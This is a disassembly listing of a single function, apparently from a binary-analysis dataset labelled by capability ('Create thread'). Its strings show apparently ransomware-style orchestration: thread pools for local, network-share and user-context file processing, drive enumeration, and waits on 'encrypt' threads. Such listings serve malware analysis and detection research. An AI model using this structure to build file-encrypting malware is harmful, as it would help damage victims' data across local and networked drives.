Function at 0x46e7d0
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x14
mov eax, dword [0x5f6ea4]
xor eax, esp
mov dword [esp + 0x10], eax
cmp byte [0x5fd9aa], 0
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_CreateEventA]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_CreateThread]
je 0x46e8cc
push str.___Local_threads...
call fcn.0046b580
mov ebx, dword [0x5fd990]
add esp, 4
mov dword [0x5ffa04], 0xffffffff
mov dword [0x5ff9fc], 0
push 0
push 0
push 0
push 0
call esi
mov dword [0x5ffa00], eax
test eax, eax
je 0x46e9a8
lea eax, [ebx*4]
push eax
call fcn.0055a8aa
mov esi, eax
add esp, 4
test esi, esi
je 0x46e867
lea eax, [ebx*4]
push eax
push 0
push esi
call fcn.0054f070
add esp, 0xc
mov dword [0x5ff9d0], esi
test esi, esi
je 0x46e9a8
push 0x5ff9dc
mov dword [0x5ff9d8], 0
mov dword [0x5ff9d4], ebx
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
xor esi, esi
cmp dword [0x5ff9d4], esi
jle 0x46e8c6
nop word [eax + eax]
push 0
push 0
push 0x5ff9d0
push 0x47f920
push 0
push 0
call edi
mov ecx, dword [0x5ff9d0]
mov dword [ecx + esi*4], eax
inc esi
cmp esi, dword [0x5ff9d4]
jl 0x46e8a0
mov esi, dword [sym.imp.KERNEL32.dll_CreateEventA]
cmp byte [0x5fd9a4], 0
jne 0x46e8e2
cmp byte [0x5fd9ae], 0
je 0x46eaac
push str.___Network_shares_threads...
call fcn.0046b580
mov ebx, dword [0x5fd998]
add esp, 4
mov dword [0x5ffa74], 0xffffffff
mov dword [0x5ffa6c], 0
push 0
push 0
push 0
push 0
call esi
mov dword [0x5ffa70], eax
test eax, eax
je 0x46e9ce
lea eax, [ebx*4]
push eax
call fcn.0055a8aa
mov esi, eax
add esp, 4
test esi, esi
je 0x46e949
lea eax, [ebx*4]
push eax
push 0
push esi
call fcn.0054f070
add esp, 0xc
mov dword [0x5ffa40], esi
test esi, esi
je 0x46e9ce
push 0x5ffa4c
mov dword [0x5ffa48], 0
mov dword [0x5ffa44], ebx
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
xor esi, esi
cmp dword [0x5ffa44], esi
jle 0x46e9e2
nop dword [eax + eax]
push 0
push 0
push 0x5ffa40
push 0x47f920
push 0
push 0
call edi
mov ecx, dword [0x5ffa40]
mov dword [ecx + esi*4], eax
inc esi
cmp esi, dword [0x5ffa44]
jl 0x46e980
jmp 0x46e9e2
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str._____Cant_create_local_threadpool__Code__lu
call fcn.0046b580
add esp, 8
mov ecx, dword [esp + 0x1c]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.00536fd5
mov esp, ebp
pop ebp
ret
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str._____Cant_create_network_threadpool__Code__lu
call fcn.0046b580
add esp, 8
mov eax, dword [0x5fd97c]
mov ebx, dword [0x5fd98c]
push 0
push 0
push 0
push 0
mov dword [0x5ffa3c], eax
mov dword [0x5ffa34], 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov dword [0x5ffa38], eax
test eax, eax
je 0x46ea98
lea eax, [ebx*4]
push eax
call fcn.0055a8aa
mov esi, eax
add esp, 4
test esi, esi
je 0x46ea40
lea eax, [ebx*4]
push eax
push 0
push esi
call fcn.0054f070
add esp, 0xc
mov dword [0x5ffa08], esi
test esi, esi
je 0x46ea98
push 0x5ffa14
mov dword [0x5ffa10], 0
mov dword [0x5ffa0c], ebx
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
xor esi, esi
cmp dword [0x5ffa0c], esi
jle 0x46eaac
nop
push 0
push 0
push 0x5ffa08
push 0x47f920
push 0
push 0
call edi
mov ecx, dword [0x5ffa08]
mov dword [ecx + esi*4], eax
inc esi
cmp esi, dword [0x5ffa0c]
jl 0x46ea70
jmp 0x46eaac
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str._____Cant_create_user_threadpool__Code__lu
call fcn.0046b580
add esp, 8
cmp byte [0x5fd9a4], 0
mov byte [0x5fd995], 1
jne 0x46eac5
cmp byte [0x5fd9ae], 0
je 0x46eb0c
cmp byte [0x5fd9ad], 0
jne 0x46eaf6
cmp byte [0x5fd9a4], 0
je 0x46eaed
push 0
push 0
push 0
push 0x470bf0
push 0
push 0
call edi
mov dword [0x5ffb14], eax
cmp byte [0x5fd9ae], 0
je 0x46eb0c
push 0
push 0
push 0
push 0x4709b0
push 0
push 0
call edi
mov dword [0x5ffb18], eax
cmp byte [0x5fd9aa], 0
mov esi, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
je 0x46eba0
cmp byte [0x5fdbc2], 0
je 0x46eb40
cmp byte [0x5fd98a], 0
jne 0x46eb40
call fcn.0047d090
neg al
sbb al, al
and byte [0x5fdbc2], al
push str.___Enumeration_drives...
call fcn.0046b580
add esp, 4
push 0
push 0
push 0
push 0x47dfa0
push 0
push 0
call edi
cmp byte [0x5fd9aa], 0
mov edi, eax
je 0x46eba0
test edi, edi
je 0x46eb7f
push str.___Waiting_for_local_search...
call fcn.0046b580
add esp, 4
push 0xffffffffffffffff
push edi
call esi
push str.___Added_STOP_MARKER_to_local_thread.
call fcn.0046b580
add esp, 4
xor ecx, ecx
call fcn.0047faa0
push str.___Local_Scan_completed.
call fcn.0046b580
add esp, 4
cmp byte [0x5fd9a4], 0
jne 0x46ebb6
cmp byte [0x5fd9ae], 0
je 0x46ed75
cmp dword [0x5ffb14], 0
je 0x46ebd6
push str.___Waiting_for_network_search...
call fcn.0046b580
add esp, 4
push 0xffffffffffffffff
push dword [0x5ffb14]
call esi
cmp dword [0x5ffb18], 0
je 0x46ebf6
push str.___Waiting_for_network_encrypt...
call fcn.0046b580
add esp, 4
push 0xffffffffffffffff
push dword [0x5ffb18]
call esi
push str.___Added_STOP_MARKER_to_network_thread.
call fcn.0046b580
mov ebx, dword [sym.imp.KERNEL32.dll_lstrlenW]
add esp, 4
cmp dword [0x5fd9b0], 0
je 0x46ec55
push str.Waiting_network_encrypt...
mov dword [esp + 0x10], 0
call ebx
mov dword [esp + 0x14], str.Waiting_network_encrypt...
lea eax, [eax*2 + 2]
mov dword [esp + 0x10], eax
lea eax, [esp + 0x18]
push eax
push 0xfa
push 2
lea eax, [esp + 0x18]
push eax
push 5
push 0x4a
push dword [0x5fd9b0]
call dword [sym.imp.USER32.dll_SendMessageTimeoutW]
mov eax, dword [0x5ffa44]
xor esi, esi
test eax, eax
jle 0x46ec9b
sub esp, 0x18
xor eax, eax
mov ecx, esp
push 3
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 7
push 0x5e9c34
mov word [ecx], ax
call fcn.0044b750
xor edx, edx
lea ecx, [edx + 1]
call fcn.0047fb40
mov eax, dword [0x5ffa44]
inc esi
add esp, 0x18
cmp esi, eax
jl 0x46ec60
mov edi, dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
push 0xffffffffffffffff
push 1
push dword [0x5ffa40]
push eax
call edi
push str.___Network_processing_completed.
call fcn.0046b580
add esp, 4
push str.___Added_STOP_MARKER_to_user_context_thread.
call fcn.0046b580
add esp, 4
cmp dword [0x5fd9b0], 0
je 0x46ed14
push str.Waiting_user_context_encrypt...
mov dword [esp + 0x10], 0
call ebx
mov dword [esp + 0x14], str.Waiting_user_context_encrypt...
lea eax, [eax*2 + 2]
mov dword [esp + 0x10], eax
lea eax, [esp + 0x18]
push eax
push 0xfa
push 2
lea eax, [esp + 0x18]
push eax
push 5
push 0x4a
push dword [0x5fd9b0]
call dword [sym.imp.USER32.dll_SendMessageTimeoutW]
mov eax, dword [0x5ffa0c]
xor esi, esi
test eax, eax
jle 0x46ed5b
nop
sub esp, 0x18
xor eax, eax
mov ecx, esp
push 3
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 7
push 0x5e9c34
mov word [ecx], ax
call fcn.0044b750
xor edx, edx
lea ecx, [edx + 2]
call fcn.0047fb40
mov eax, dword [0x5ffa0c]
inc esi
add esp, 0x18
cmp esi, eax
jl 0x46ed20
push 0xffffffffffffffff
push 1
push dword [0x5ffa08]
push eax
call edi
push str.___User_context_processing_completed.
call fcn.0046b580
add esp, 4
cmp byte [0x5fd981], 0
je 0x46e9bc
mov ecx, 1
call fcn.0046ed90
int3